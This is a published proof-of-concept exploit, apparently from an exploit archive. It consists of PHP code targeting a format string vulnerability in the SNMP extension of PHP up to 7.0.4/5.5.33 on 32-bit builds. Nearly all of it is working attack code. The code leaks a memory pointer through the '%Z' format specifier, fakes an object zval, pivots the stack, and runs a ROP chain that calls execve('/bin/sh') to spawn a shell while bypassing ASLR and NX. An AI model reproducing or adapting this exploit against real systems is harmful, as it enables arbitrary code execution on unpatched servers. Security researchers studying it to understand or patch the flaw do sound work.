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PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit

Posted on 30 November -0001

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// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)
// By Andrew Kramer <andrew at jmpesp dot org>
// Should bypass ASLR/NX just fine
 
// This exploit utilizes PHP's internal "%Z" (zval)
// format specifier in order to achieve code-execution.
// We fake an object-type zval in memory and then bounce
// through it carefully.  First though, we use the same
// bug to leak a pointer to the string itself.  We can
// then edit the global variable with correct pointers
// before hitting it a second time to get EIP.  This
// makes it super reliable!  Like... 100%.
// To my knowledge this hasn't really been done before, but
// credit to Stefan Esser (@i0n1c) for the original idea.  It works!
// https://twitter.com/i0n1c/status/664706994478161920
 
// All the ROP gadgets are from a binary I compiled myself.
// If you want to use this yourself, you'll probably need
// to build a new ROP chain and find new stack pivots for
// whatever binary you're targeting.  If you just want to get
// EIP, change $stack_pivot_1 to 0x41414141 below.
 
 
// pass-by-reference here so we keep things tidy
function trigger(&$format_string) {
 
    $session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");
    // you MUST set exceptions_enabled in order to trigger this
    $session->exceptions_enabled = SNMP::ERRNO_ANY;
 
    try {
        $session->get($format_string);
    } catch (SNMPException $e) {
        return $e->getMessage();
    }
 
}
 
// overwrite either $payload_{1,2} with $str at $offset
function overwrite($which, $str, $offset) {
 
    // these need to be global so PHP doesn't just copy them
    global $payload_1, $payload_2;
 
    // we MUST copy byte-by-byte so PHP doesn't realloc
    for($c=0; $c<strlen($str); $c++) {
        switch($which) {
            case 1:
                $payload_1[$offset + $c] = $str[$c];
                break;
            case 2:
                $payload_2[$offset + $c] = $str[$c];
                break;
        }
    }
 
}
 
echo "> Setting up payloads
";
 
//$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit
$stack_pivot_1 = pack("L", 0x0807c19f); // xchg esp ebx
$stack_pivot_2 = pack("L", 0x0809740e); // add esp, 0x14
 
// this is used at first to leak the pointer to $payload_1
$leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";
$trampoline_offset = strlen($leak_str);
 
// used to leak a pointer and also to store ROP chain
$payload_1 =
    $leak_str .                     // leak a pointer
    "XXXX" .                        // will be overwritten later
    $stack_pivot_1 .                // initial EIP (rop start)
    // ROP: execve('/bin/sh',0,0)
    pack("L", 0x080f0bb7) .         // xor ecx, ecx; mov eax, ecx
    pack("L", 0x0814491f) .         // xchg edx, eax
    pack("L", 0x0806266d) .         // pop ebx
    pack("L", 0x084891fd) .         // pointer to /bin/sh
    pack("L", 0x0807114c) .         // pop eax
    pack("L", 0xfffffff5) .         // -11
    pack("L", 0x081818de) .         // neg eax
    pack("L", 0x081b5faa);          // int 0x80
 
// used to trigger the exploit once we've patched everything
$payload_2 =
    "XXXX" .                        // will be overwritten later
    "XXXX" .                        // just padding, whatevs
    "x08X" .                       // zval type OBJECT
    str_repeat("%d", 13) . "%Z";    // trigger the exploit
 
// leak a pointer
echo "> Attempting to leak a pointer
";
$data = trigger($payload_1);
$trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;
echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "
";
 
// If there are any null bytes or percent signs in the pointer, it will break
// the -0x10 will be applied later, so do it now too
if(strpos(pack("L", $trampoline_ptr - 0x10), "x00") !== false
|| strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {
    echo "> That pointer has a bad character in it
";
    echo "> This won't work.  Bailing out... :(
";
    exit(0);
}
 
echo "> Overwriting payload with calculated offsets
";
// prepare the trampoline
// code looks kinda like...
//   mov eax, [eax+0x10]
//   mov eax, [eax+0x54]
//   call eax
overwrite(2, pack("L", $trampoline_ptr - 0x10), 0);
overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);
 
// exploit
echo "> Attempting to pop a shell
";
trigger($payload_2);
 
// if we make it here, something didn't work
echo "> Exploit failed :(
";
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